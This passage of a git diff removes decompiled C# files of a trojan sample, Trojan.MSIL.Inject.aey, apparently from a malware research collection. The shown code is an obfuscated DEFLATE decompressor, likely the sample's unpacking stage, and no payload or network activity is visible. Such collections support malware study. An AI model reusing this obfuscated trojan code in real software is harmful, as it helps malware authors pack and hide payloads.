= 0; index3 <= 143; ++index3) - { - \uE00A.\uE011[index3].\uE000 = 48 + index3; - \uE00A.\uE011[index3].\uE001 = 8; - } - for (int index4 = 144; index4 <= (int) byte.MaxValue; ++index4) - { - \uE00A.\uE011[index4].\uE000 = 400 + index4 - 144; - \uE00A.\uE011[index4].\uE001 = 9; - } - for (int index5 = 256; index5 <= 279; ++index5) - { - \uE00A.\uE011[index5].\uE000 = index5 - 256; - \uE00A.\uE011[index5].\uE001 = 7; - } - for (int index6 = 280; index6 <= 287; ++index6) - { - \uE00A.\uE011[index6].\uE000 = 192 + index6 - 280; - \uE00A.\uE011[index6].\uE001 = 8; - } - for (int index7 = 0; index7 <= 31; ++index7) - { - \uE00A.\uE012[index7].\uE000 = index7; - \uE00A.\uE012[index7].\uE001 = 5; - } - \uE00A.\uE013 = \uE00A.\uE004(\uE00A.\uE011, \uE00A.\uE012); - } - else - goto label_61; - } - - internal static int \uE000(int[] _param0, int[] _param1) - { - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index] * _param1[index]; - num2 = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - return num1; - goto label_3; - } - - internal static int \uE001(int[] _param0, int[] _param1) - { - int num1 = 0; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num2; - switch (num2) - { - case 0: - goto label_3; - case 1: - ++index1; - goto label_5; - } -label_2: - num2 = 0; - goto label_1; -label_3: - num1 += _param0[index1] * \uE00A.\uE011[index1].\uE001; - num2 = 1; - goto label_1; -label_5: - if (index1 >= _param0.Length) - { - for (int index2 = 0; index2 < _param1.Length; ++index2) - num1 += _param1[index2] * \uE00A.\uE012[index2].\uE001; - return num1; - } - goto label_3; - } - - internal static \uE00B[] \uE002(int[] _param0) - { - \uE00B[] objArray = new \uE00B[_param0.Length]; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_5; - else - goto label_2; -label_1: - int num; - switch (num) - { - case 0: - goto label_3; - case 1: - ++index; - goto label_5; - } -label_2: - num = 0; - goto label_1; -label_3: - objArray[index].\uE001 = _param0[index]; - num = 1; - goto label_1; -label_5: - if (index >= _param0.Length) - { - \uE00A.\uE003(objArray); - return objArray; - } - goto label_3; - } - - internal static void \uE003(\uE00B[] _param0) - { - int num1 = _param0[0].\uE001; - int index1 = 1; - if ((index1 == 0 ? 0 : 1) != 0) - goto label_4; -label_1: - if (num1 < _param0[index1].\uE001) - num1 = _param0[index1].\uE001; - ++index1; -label_4: - if (index1 >= _param0.Length) - { - int[] numArray1 = new int[num1 + 1]; - for (int index2 = 0; index2 < _param0.Length; ++index2) - ++numArray1[_param0[index2].\uE001]; - int[] numArray2 = new int[num1 + 1]; -label_10: - int num2 = 0; - int num3; - int index3; - while (true) - { - switch (num2) - { - case 0: - num3 = 0; - num2 = 1; - continue; - case 1: - numArray1[0] = 0; - num2 = 2; - continue; - case 2: - index3 = 1; - num2 = 3; - continue; - case 3: - goto label_16; - default: - goto label_10; - } - } -label_16: - for (; index3 <= num1; ++index3) - { - num3 = num3 + numArray1[index3 - 1] << 1; - numArray2[index3] = num3; - } - for (int index4 = 0; index4 < _param0.Length; ++index4) - { - int index5 = _param0[index4].\uE001; - if (index5 != 0) - { - _param0[index4].\uE000 = numArray2[index5]; - ++numArray2[index5]; - } - } - } - else - goto label_1; - } - - internal static \uE00D \uE004(\uE00B[] _param0, \uE00B[] _param1) => new \uE00D() - { - \uE000 = \uE00A.\uE005(_param0), - \uE001 = \uE00A.\uE005(_param1) - }; - - internal static \uE00C \uE005(\uE00B[] _param0) - { - \uE00A.\uE008[] objArray = new \uE00A.\uE008[_param0.Length]; - int num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_9; -label_1: - if (_param0[index].\uE001 > 0) - { - \uE00A.\uE008 obj = new \uE00A.\uE008(); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - obj.\uE000 = _param0[index]; - num2 = 1; - continue; - case 1: - obj.\uE001 = (ushort) index; - num2 = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7: - objArray[num1++] = obj; - } - ++index; -label_9: - if (index >= _param0.Length) - { - if (_param0.Length < 1) - throw new InvalidOperationException(); - return \uE00A.\uE006(objArray, num1, 0, 0); - } - goto label_1; - } - - private static \uE00C \uE006( - \uE00A.\uE008[] _param0, - int _param1, - int _param2, - int _param3) - { - \uE00A.\uE008[] objArray1 = new \uE00A.\uE008[_param1]; - \uE00A.\uE008[] objArray2 = new \uE00A.\uE008[_param1]; - \uE00C obj1 = new \uE00C(); - obj1.\uE000 = false; - int num1; - int num2 = num1 = 0; - int index = 0; - if ((index == 0 ? 1 : 0) != 0) - goto label_11; -label_1: - \uE00A.\uE008 obj2 = _param0[index]; - if (obj2.\uE000.\uE001 == _param3 && obj2.\uE000.\uE000 == _param2) - { - obj1.\uE000 = true; - obj1.\uE001 = obj2.\uE001; - } - else - { - bool flag = (obj2.\uE000.\uE000 >> obj2.\uE000.\uE001 - _param3 - 1 & 1) != 0; -label_5: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (flag) - { - num3 = 1; - continue; - } - goto label_9; - case 1: - objArray2[num2++] = obj2; - num3 = 2; - continue; - case 2: - goto label_10; - default: - goto label_5; - } - } -label_9: - objArray1[num1++] = obj2; - } -label_10: - ++index; -label_11: - if (index >= _param1) - { - if (obj1.\uE000) - { - if (num2 > 0 || num1 > 0) - throw new InvalidOperationException(); - } - else - { - if (num1 > 0) - obj1.\uE002 = \uE00A.\uE006(objArray1, num1, _param2 << 1, _param3 + 1); - if (num2 > 0) - obj1.\uE003 = \uE00A.\uE006(objArray2, num2, _param2 << 1 | 1, _param3 + 1); - } - return obj1; - } - goto label_1; - } - - internal static void \uE007(int _param0, out int _param1, out int _param2) - { - _param1 = \uE00A.\uE015[_param0 - 257]; -label_2: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = \uE00A.\uE016[_param0 - 257]; - num = 1; - continue; - case 1: - goto label_4; - default: - goto label_2; - } - } -label_4:; - } - - internal static void \uE008(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE015, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index + 257; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE015[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE016[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static void \uE009(int _param0, out int _param1, out int _param2, out int _param3) - { - int index = Array.BinarySearch(\uE00A.\uE017, _param0); - if (index < 0) - index = ~index - 1; - _param1 = index; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - _param2 = _param0 - \uE00A.\uE017[index]; - num = 1; - continue; - case 1: - _param3 = \uE00A.\uE018[index]; - num = 2; - continue; - case 2: - goto label_7; - default: - goto label_4; - } - } -label_7:; - } - - internal static int[] \uE00A(int[] _param0, int _param1) => \uE00A.\uE000.\uE000(_param0, _param1); - - internal static int[] \uE00B(int[] _param0) => \uE00A.\uE000.\uE000(_param0, 15); - - internal static int \uE00C(int _param0) - { - int num1 = _param0; -label_2: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - switch (num1) - { - case 16: - goto label_5; - case 17: - goto label_6; - case 18: - goto label_7; - default: - num2 = 1; - continue; - } - case 1: - goto label_8; - default: - goto label_2; - } - } -label_5: - return 2; -label_6: - return 3; -label_7: - return 7; -label_8: - return 0; - } - - internal static int[] \uE00D(int[] _param0, int _param1, int _param2) - { - ArrayList arrayList = new ArrayList(); - int num1 = 0; - if ((num1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - if (_param0[_param1 + num1] == 0) - { - int num2 = 0; - do - { - ++num2; - } - while (num1 + num2 < _param2 && num2 < 138 && _param0[_param1 + num1 + num2] == 0); - if (num2 < 3) - { - if (num2 >= 1) - arrayList.Add((object) 0); - if (num2 >= 2) - arrayList.Add((object) 0); - } - else if (num2 < 11) - { - arrayList.Add((object) 17); - arrayList.Add((object) (num2 - 3)); - } - else - { - arrayList.Add((object) 18); - arrayList.Add((object) (num2 - 11)); - } - num1 += num2; - } - else - { - int num3 = _param0[_param1 + num1++]; -label_15: - int num4 = 1; - int num5; - while (true) - { - switch (num4) - { - case 0: - num5 = 0; - num4 = 2; - continue; - case 1: - arrayList.Add((object) num3); - num4 = 0; - continue; - case 2: - goto label_19; - default: - goto label_15; - } - } -label_19: - while (num1 + num5 < _param2 && num5 < 6 && _param0[_param1 + num1 + num5] == num3) - ++num5; - if (num5 >= 3) - { - arrayList.Add((object) 16); - arrayList.Add((object) (num5 - 3)); - num1 += num5; - } - } -label_22: - if (num1 >= _param2) - return (int[]) arrayList.ToArray(typeof (int)); - goto label_1; - } - - private sealed class \uE000 - { - internal static int[] \uE000(int[] _param0, int _param1) - { - int[] items = new int[_param0.Length]; - int[] numArray1 = new int[_param0.Length]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_2; -label_1: - items[index1] = index1; - ++index1; -label_2: - if (index1 >= items.Length) - { - Array.Copy((Array) _param0, (Array) numArray1, _param0.Length); - Array.Sort(numArray1, items); - int sourceIndex = 0; - while (sourceIndex < numArray1.Length && numArray1[sourceIndex] == 0) - ++sourceIndex; - int[] destinationArray = new int[numArray1.Length - sourceIndex]; -label_8: - int num = 1; - int[] numArray2; - while (true) - { - switch (num) - { - case 0: - if (destinationArray.Length == 0) - { - num = 2; - continue; - } - goto label_13; - case 1: - Array.Copy((Array) numArray1, sourceIndex, (Array) destinationArray, 0, destinationArray.Length); - num = 0; - continue; - case 2: - numArray2 = new int[0]; - num = 3; - continue; - case 3: - goto label_16; - default: - goto label_8; - } - } -label_13: - if (destinationArray.Length == 1) - numArray2 = new int[1]{ 1 }; - else - numArray2 = \uE00A.\uE000.\uE001(destinationArray, _param1); -label_16: - int[] numArray3 = new int[_param0.Length]; - for (int index2 = 0; index2 < numArray2.Length; ++index2) - numArray3[items[index2 + sourceIndex]] = numArray2[index2]; - return numArray3; - } - goto label_1; - } - - private static int[] \uE001(int[] _param0, int _param1) - { - int length = _param0.Length; -label_2: - int num1 = 3; - int[][] numArray1; - int index1; - int[] numArray2; - while (true) - { - switch (num1) - { - case 0: - numArray1[0] = _param0; - num1 = 2; - continue; - case 1: - if (index1 != 0) - { - num1 = 5; - continue; - } - goto label_10; - case 2: - numArray2 = new int[_param0.Length / 2]; - num1 = 4; - continue; - case 3: - numArray1 = new int[_param1][]; - num1 = 0; - continue; - case 4: - index1 = 0; - num1 = 1; - continue; - case 5: - goto label_9; - default: - goto label_2; - } - } -label_9: - int num2 = 0; - goto label_11; -label_10: - num2 = 1; -label_11: - if (num2 != 0) - goto label_13; -label_12: - numArray2[index1] = _param0[index1 * 2] + _param0[index1 * 2 + 1]; - ++index1; -label_13: - if (index1 >= numArray2.Length) - { - for (int index2 = 1; index2 < _param1; ++index2) - { - int[] numArray3 = \uE00A.\uE000.\uE002(numArray2, _param0); - numArray1[index2] = numArray3; - numArray2 = new int[numArray3.Length / 2]; - for (int index3 = 0; index3 < numArray2.Length; ++index3) - numArray2[index3] = numArray3[index3 * 2] + numArray3[index3 * 2 + 1]; - } - int[] numArray4 = new int[length]; - int num3 = length - 1; - for (int index4 = _param1 - 1; index4 >= 0; --index4) - { - int[] numArray5 = numArray1[index4]; - int num4 = 0; - int index5 = 0; - for (int index6 = 0; index6 < num3 * 2; ++index6) - { - if (index5 < _param0.Length && _param0[index5] == numArray5[index6]) - { - ++numArray4[index5]; - ++index5; - } - else - ++num4; - } - num3 = num4; - } - return numArray4; - } - goto label_12; - } - - private static int[] \uE002(int[] _param0, int[] _param1) - { - int[] numArray = new int[_param0.Length + _param1.Length]; -label_2: - int num1 = 3; - int index1; - int num2; - int index2; - while (true) - { - switch (num1) - { - case 0: - index1 = 0; - num1 = 2; - continue; - case 1: - if (num2 != 0) - { - num1 = 4; - continue; - } - goto label_9; - case 2: - num2 = 0; - num1 = 1; - continue; - case 3: - index2 = 0; - num1 = 0; - continue; - case 4: - goto label_8; - default: - goto label_2; - } - } -label_8: - int num3 = 0; - goto label_10; -label_9: - num3 = 1; -label_10: - if (num3 != 0) - goto label_12; -label_11: - numArray[num2++] = _param0[index2] >= _param1[index1] ? _param1[index1++] : _param0[index2++]; -label_12: - if (index2 >= _param0.Length || index1 >= _param1.Length) - { - while (index2 < _param0.Length) - numArray[num2++] = _param0[index2++]; - while (index1 < _param1.Length) - numArray[num2++] = _param1[index1++]; - return numArray; - } - goto label_11; - } - } - - private struct \uE008 - { - internal \uE00B \uE000; - internal ushort \uE001; - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index 0838405c..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal struct \uE00B -{ - public int \uE000; - public int \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index f6a4e099..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,13 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal sealed class \uE00C -{ - internal bool \uE000; - internal ushort \uE001; - internal \uE00C \uE002; - internal \uE00C \uE003; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index e04effeb..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -internal sealed class \uE00D -{ - internal \uE00C \uE000; - internal \uE00C \uE001; -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs deleted file mode 100644 index eddb0aa7..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d/.cs +++ /dev/null @@ -1,798 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Monkey, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F37CDE57-2934-4BAC-94FE-68C4082667EF -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Inject.aey-987a459213fe3739f0b3a9599a965c98fd7ffe48217cb7051649767b5815a87d.exe - -using System; -using System.IO; - -internal sealed class \uE00E -{ - public static void \uE000(Stream _param0, Stream _param1) - { - byte[] buffer = new byte[4096]; - \uE00E.\uE000 obj = new \uE00E.\uE000(_param0); - while (true) - { - int count = obj.\uE000(buffer, 0, buffer.Length); - if ((count <= 0 ? 0 : 1) != 0) - _param1.Write(buffer, 0, count); - else - break; - } - } - - public sealed class \uE000 - { - private \uE00E.\uE009 \uE000 = new \uE00E.\uE009(32769); - private \uE00E.\uE008 \uE001; - private \uE00D \uE002; - private int \uE003 = -1; - private int \uE004 = -1; - private bool \uE005; - private int \uE006; - private long \uE007; - private long \uE008; - private bool \uE009; - private int \uE00A; - private bool \uE00B; - - public \uE000(Stream _param1) => this.\uE001 = new \uE00E.\uE008(_param1); - - public int \uE000(byte[] _param1, int _param2, int _param3) - { - if ((_param1 == null ? 0 : 1) == 0) - throw new ArgumentNullException(); - if (_param3 == 0 || this.\uE009) - return 0; - int num1 = 0; -label_15: - while (num1 < _param3) - { - while (this.\uE003 < 0 && !this.\uE009) - this.\uE009 = !this.\uE001(); - if (!this.\uE009) - { - int num2 = this.\uE002(_param1, _param2 + num1, _param3 - num1); -label_10: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_14; - case 1: - num1 += num2; - num3 = 2; - continue; - case 2: - goto label_15; - default: - goto label_10; - } - } -label_14: - this.\uE003 = -1; - } - else - break; - } - return num1; - } - - private bool \uE001() - { - if ((!this.\uE005 ? 1 : 0) == 0) - return false; - this.\uE007 = this.\uE001.\uE004; -label_4: - int num1 = 2; - int num2; - while (true) - { - switch (num1) - { - case 0: - switch (num2) - { - case 0: - goto label_10; - case 1: - goto label_13; - case 2: - goto label_14; - default: - num1 = 4; - continue; - } - case 1: - this.\uE003 = this.\uE001.\uE000(2); - num1 = 3; - continue; - case 2: - this.\uE005 = this.\uE001.\uE000(1) > 0; - num1 = 1; - continue; - case 3: - num2 = this.\uE003; - num1 = 0; - continue; - case 4: - goto label_15; - default: - goto label_4; - } - } -label_10: - this.\uE001.\uE001(); - int num3 = this.\uE001.\uE000(16); - int num4 = this.\uE001.\uE000(16); - this.\uE006 = (num3 & ~num4) == num3 ? num3 : throw new InvalidOperationException(); - this.\uE002 = (\uE00D) null; - this.\uE00B = true; - goto label_16; -label_13: - \uE00B[] objArray1 = \uE00A.\uE011; - \uE00B[] objArray2 = \uE00A.\uE012; - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE013; - this.\uE00B = false; - goto label_16; -label_14: - \uE00B[] objArray3; - \uE00B[] objArray4; - this.\uE009(this.\uE001, out objArray3, out objArray4); - this.\uE006 = 0; - this.\uE002 = \uE00A.\uE004(objArray3, objArray4); - this.\uE00B = false; - goto label_16; -label_15: - throw new InvalidOperationException(); -label_16: - this.\uE008 = this.\uE001.\uE004; - return true; - } - - private int \uE002(byte[] _param1, int _param2, int _param3) - { - int num1 = _param2; - if ((this.\uE003 == 0 ? 0 : 1) == 0) - { - if (this.\uE006 > 0) - { - int num2 = Math.Min(_param3, this.\uE006); -label_4: - int num3 = 3; - while (true) - { - switch (num3) - { - case 0: - _param2 += num2; - num3 = 5; - continue; - case 1: - _param3 -= num2; - num3 = 0; - continue; - case 2: - this.\uE000.\uE001(_param1, _param2, num2); - num3 = 4; - continue; - case 3: - this.\uE001.\uE002(_param1, _param2, num2); - num3 = 2; - continue; - case 4: - this.\uE006 -= num2; - num3 = 1; - continue; - case 5: - goto label_22; - default: - goto label_4; - } - } - } - } - else if (!this.\uE00B) - { - if (this.\uE00A > 0) - this.\uE003(_param1, ref _param2, ref _param3); - if (_param3 > 0) - { - do - { - int num4 = \uE00E.\uE000.\uE006(this.\uE001, this.\uE002.\uE000); - this.\uE00B = num4 == 256; - if (!this.\uE00B) - { - if (num4 < 256) - { - _param1[_param2++] = (byte) num4; - this.\uE000.\uE000((byte) num4); - --_param3; - } - else if (num4 <= 285) - { - int num5 = \uE00E.\uE000.\uE007(this.\uE001, num4); - int num6 = \uE00E.\uE000.\uE008(this.\uE001, this.\uE002.\uE001); - if ((long) num6 > this.\uE000.\uE003) - throw new InvalidOperationException(); - this.\uE004 = num6; - this.\uE00A = num5; - this.\uE003(_param1, ref _param2, ref _param3); - } - } - else - break; - } - while (_param3 > 0); - } - } -label_22: - this.\uE008 = this.\uE001.\uE004; - return _param2 - num1; - } - - private void \uE003(byte[] _param1, ref int _param2, ref int _param3) - { - int num1 = Math.Min(this.\uE00A, _param3); - byte[] sourceArray = this.\uE000.\uE002(this.\uE004, Math.Min(num1, this.\uE004)); - _param3 -= num1; - this.\uE00A -= num1; - while ((num1 <= sourceArray.Length ? 0 : 1) != 0) - { - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, sourceArray.Length); -label_3: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - _param2 += sourceArray.Length; - num2 = 1; - continue; - case 1: - num1 -= sourceArray.Length; - num2 = 2; - continue; - case 2: - goto label_6; - default: - goto label_3; - } - } -label_6: - this.\uE000.\uE001(sourceArray, 0, sourceArray.Length); - } - Array.Copy((Array) sourceArray, 0, (Array) _param1, _param2, num1); - _param2 += num1; - this.\uE000.\uE001(sourceArray, 0, num1); - } - - public bool \uE004(int _param1) - { - byte[] numArray = new byte[1024]; - int num; - while (_param1 > 0 && ((num = this.\uE000(numArray, 0, Math.Min(1024, _param1))) <= 0 ? 0 : 1) != 0) - _param1 -= num; - return _param1 <= 0; - } - - public void \uE005() - { - byte[] numArray = new byte[1024]; - do - ; - while (this.\uE000(numArray, 0, 1024) > 0); - } - - private static int \uE006(\uE00E.\uE008 _param0, \uE00C _param1) - { - while (true) - { - if (_param1 == null) - goto label_7; - else - goto label_4; -label_3: - int num; - while (true) - { - switch (num) - { - case 0: - if (_param1.\uE000) - { - num = 1; - continue; - } - goto label_1; - case 1: - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_1: - _param1 = (_param0.\uE000(1) <= 0 ? 0 : 1) != 0 ? _param1.\uE003 : _param1.\uE002; - continue; -label_4: - num = 0; - goto label_3; -label_7: - if (_param1 == null) - { - num = 2; - goto label_3; - } - else - goto label_10; - } -label_9: - throw new InvalidOperationException(); -label_10: - return (int) _param1.\uE001; - } - - private static int \uE007(\uE00E.\uE008 _param0, int _param1) - { - int num1; - int num2; - \uE00A.\uE007(_param1, out num1, out num2); -label_2: - int num3 = 0; - while (true) - { - switch (num3) - { - case 0: - if (num2 > 0) - { - num3 = 1; - continue; - } - goto label_6; - case 1: - goto label_5; - default: - goto label_2; - } - } -label_5: - return num1 + _param0.\uE000(num2); -label_6: - return num1; - } - - private static int \uE008(\uE00E.\uE008 _param0, \uE00C _param1) - { - int index = \uE00E.\uE000.\uE006(_param0, _param1); - int num1 = index <= 29 ? \uE00A.\uE017[index] : throw new InvalidOperationException(); -label_4: - int num2 = 1; - int num3; - int num4; - while (true) - { - switch (num2) - { - case 0: - if (num3 > 0) - { - num2 = 4; - continue; - } - goto label_15; - case 1: - num3 = \uE00A.\uE018[index]; - num2 = 0; - continue; - case 2: - if (index == 284) - { - num2 = 3; - continue; - } - goto label_14; - case 3: - if (num4 > 30) - { - num2 = 5; - continue; - } - goto label_14; - case 4: - num4 = _param0.\uE000(num3); - num2 = 2; - continue; - case 5: - goto label_13; - default: - goto label_4; - } - } -label_13: - throw new InvalidOperationException(); -label_14: - return num1 + num4; -label_15: - return num1; - } - - private void \uE009(\uE00E.\uE008 _param1, out \uE00B[] _param2, out \uE00B[] _param3) - { - int length1 = _param1.\uE000(5) + 257; -label_2: - int num1 = 1; - int num2; - int length2; - while (true) - { - switch (num1) - { - case 0: - num2 = _param1.\uE000(4) + 4; - num1 = 2; - continue; - case 1: - length2 = _param1.\uE000(5) + 1; - num1 = 0; - continue; - case 2: - if (length1 > 286) - { - num1 = 3; - continue; - } - goto label_8; - case 3: - goto label_7; - default: - goto label_2; - } - } -label_7: - throw new InvalidOperationException(); -label_8: - int[] numArray1 = \uE00A.\uE014; - int[] numArray2 = new int[19]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_10; -label_9: - numArray2[numArray1[index1]] = _param1.\uE000(3); - ++index1; -label_10: - if (index1 >= num2) - { - \uE00C obj = \uE00A.\uE005(\uE00A.\uE002(numArray2)); - int[] numArray3 = \uE00E.\uE000.\uE00A(_param1, obj, length1 + length2); - _param2 = new \uE00B[length1]; - for (int index2 = 0; index2 < length1; ++index2) - _param2[index2].\uE001 = numArray3[index2]; - \uE00A.\uE003(_param2); - _param3 = new \uE00B[length2]; - for (int index3 = 0; index3 < length2; ++index3) - _param3[index3].\uE001 = numArray3[index3 + length1]; - \uE00A.\uE003(_param3); - } - else - goto label_9; - } - - private static int[] \uE00A(\uE00E.\uE008 _param0, \uE00C _param1, int _param2) - { - int[] numArray = new int[_param2]; - int index1 = 0; - if ((index1 == 0 ? 1 : 0) != 0) - goto label_22; -label_1: - int num1 = \uE00E.\uE000.\uE006(_param0, _param1); -label_3: - int num2 = 1; - while (true) - { - switch (num2) - { - case 0: - numArray[index1] = num1; - num2 = 2; - continue; - case 1: - if (num1 < 16) - { - num2 = 0; - continue; - } - goto label_7; - case 2: - goto label_21; - default: - goto label_3; - } - } -label_7: - switch (num1) - { - case 16: - int num3 = _param0.\uE000(2) + 3; - if (num3 + index1 > numArray.Length) - throw new InvalidOperationException(); - for (int index2 = 0; index2 < num3; ++index2) - numArray[index1 + index2] = numArray[index1 - 1]; - index1 += num3 - 1; - break; - case 17: - int num4 = _param0.\uE000(3) + 3; - if (num4 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num4 - 1; - break; - case 18: - int num5 = _param0.\uE000(7) + 11; - if (num5 + index1 > numArray.Length) - throw new InvalidOperationException(); - index1 += num5 - 1; - break; - default: - throw new InvalidOperationException(); - } -label_21: - ++index1; -label_22: - if (index1 >= _param2) - return numArray; - goto label_1; - } - } - - private sealed class \uE008 - { - private uint \uE000; - private int \uE001; - private int \uE002; - private Stream \uE003; - internal long \uE004; - - internal \uE008(Stream _param1) => this.\uE003 = _param1; - - internal int \uE000(int _param1) - { - this.\uE004 += (long) _param1; - for (int index = _param1 - (this.\uE002 - this.\uE001); (index <= 0 ? 0 : 1) != 0; index -= 8) - { - this.\uE000 |= checked ((uint) this.\uE003.ReadByte()) << this.\uE002; - this.\uE002 += 8; - } - int num1 = (int) (this.\uE000 >> this.\uE001) & (1 << _param1) - 1; -label_5: - int num2 = 2; - while (true) - { - switch (num2) - { - case 0: - this.\uE002 = this.\uE001 = 0; - num2 = 1; - continue; - case 1: - this.\uE000 = 0U; - num2 = 4; - continue; - case 2: - this.\uE001 += _param1; - num2 = 3; - continue; - case 3: - if (this.\uE002 == this.\uE001) - { - num2 = 0; - continue; - } - goto label_11; - case 4: - goto label_13; - default: - goto label_5; - } - } -label_11: - if (this.\uE001 >= 8) - { - this.\uE000 >>= this.\uE001; - this.\uE002 -= this.\uE001; - this.\uE001 = 0; - } -label_13: - return num1; - } - - internal void \uE001() - { - if (this.\uE002 != this.\uE001) - this.\uE004 += (long) (this.\uE002 - this.\uE001); - this.\uE002 = this.\uE001 = 0; -label_4: - int num = 0; - while (true) - { - switch (num) - { - case 0: - this.\uE000 = 0U; - num = 1; - continue; - case 1: - goto label_6; - default: - goto label_4; - } - } -label_6:; - } - - internal void \uE002(byte[] _param1, int _param2, int _param3) - { - if (this.\uE002 != this.\uE001) - throw new InvalidOperationException(); - int num1 = this.\uE003.Read(_param1, _param2, _param3); -label_4: - int num2 = 0; - while (true) - { - switch (num2) - { - case 0: - this.\uE004 += (long) (num1 << 3); - num2 = 1; - continue; - case 1: - if (num1 != _param3) - { - num2 = 2; - continue; - } - goto label_7; - case 2: - goto label_9; - default: - goto label_4; - } - } -label_7: - return; -label_9: - throw new InvalidOperationException(); - } - } - - private sealed class \uE009 - { - private byte[] \uE000; - private int \uE001; - internal int \uE002; - internal long \uE003; - - internal \uE009(int _param1) - { - this.\uE002 = _param1; - this.\uE000 = new byte[_param1]; - } - - internal void \uE000(byte _param1) - { - this.\uE000[this.\uE001++] = _param1; - if ((this.\uE001 >= this.\uE002 ? 0 : 1) == 0) - this.\uE001 = 0; - ++this.\uE003; - } - - internal void \uE001(byte[] _param1, int _param2, int _param3) - { - this.\uE003 += (long) _param3; - if ((_param3 >= this.\uE002 ? 0 : 1) == 0) - { - Array.Copy((Array) _param1, _param2, (Array) this.\uE000, 0, this.\uE002); - this.\uE001 = 0; - } - else if (this.\uE001 + _param3 > this.\uE002) - { - int length1 = this.\uE002 - this.\uE001; -label_5: - int num = 2; - int length2; - while (true) - { - switch 